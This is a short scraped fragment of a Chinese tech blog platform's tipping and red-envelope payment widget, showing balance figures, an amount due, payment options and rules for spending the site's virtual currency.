
红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值